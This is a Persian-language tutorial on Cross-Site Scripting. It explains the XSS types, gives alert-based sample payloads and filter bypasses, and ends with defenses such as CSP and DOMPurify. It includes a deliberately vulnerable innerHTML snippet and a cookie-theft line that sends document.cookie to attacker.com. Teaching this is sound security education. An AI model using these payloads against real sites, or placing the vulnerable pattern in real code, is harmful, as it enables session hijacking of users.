آموزش کامل XSS (۲۰۲۵)
XSS چیست؟
XSS یا Cross-Site Scripting یکی از رایجترین و خطرناکترین آسیبپذیریهای وب است. در این حمله، مهاجم میتواند کدهای جاوااسکریپت مخرب را در وبسایت تزریق کرده و باعث اجرای آن در مرورگر کاربران شود.
⚠️ هشدار: این آموزش صرفاً برای اهداف آموزشی و تست نفوذ قانونی است. استفاده غیرمجاز از این تکنیکها پیگرد قانونی دارد.
انواع XSS
- Stored XSS: کد مخرب در دیتابیس ذخیره میشود و هر بار کاربر صفحه را باز کند اجرا میشود.
- Reflected XSS: کد مخرب در پارامترهای URL یا ورودی کاربر قرار میگیرد و بلافاصله اجرا میشود.
- DOM-based XSS: آسیبپذیری ناشی از کدنویسی سمت کلاینت (JavaScript) بدون فیلتر ورودی است.
نمونههای ساده حمله XSS
۱. حمله ساده (Reflected XSS)
<script>alert('XSS')</script>
اگر این کد در ورودی یک فرم قرار گیرد و بدون فیلتر در صفحه نمایش داده شود، هشدار اجرا خواهد شد.
۲. بایپس فیلتر اولیه
<img src=x onerror=alert('XSS')>
اگر فیلتر فقط روی تگ <script>
باشد، میتوان از رویدادهای HTML مثل onerror
استفاده کرد.
۳. DOM-based XSS
<script>
var q = document.location.hash;
document.body.innerHTML = q;
</script>
اگر URL شامل #<img src=x onerror=alert('XSS')>
باشد، اسکریپت اجرا خواهد شد.
نمونههای پیشرفته تست XSS
۴. دور زدن فیلتر با استفاده از Unicode
<svg onload=alert(`XSS`)\u003E
۵. استفاده از جاوااسکریپت اینلاین
" onmouseover="alert('XSS')
۶. اجرای درخواست مخرب (سرقت کوکی)
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
💡 نکته: همیشه هنگام تست XSS از ابزارهای امن مثل Burp Suite و مرورگرهای آزمایشی استفاده کنید. استفاده روی سیستم اصلی خطرناک است.
راههای جلوگیری از XSS
- استفاده از توابع HTML Encoding برای ورودیها
- جلوگیری از اجرای HTML در ورودیها
- فعالسازی Content Security Policy (CSP)
- استفاده از کتابخانههای امن مثل DOMPurify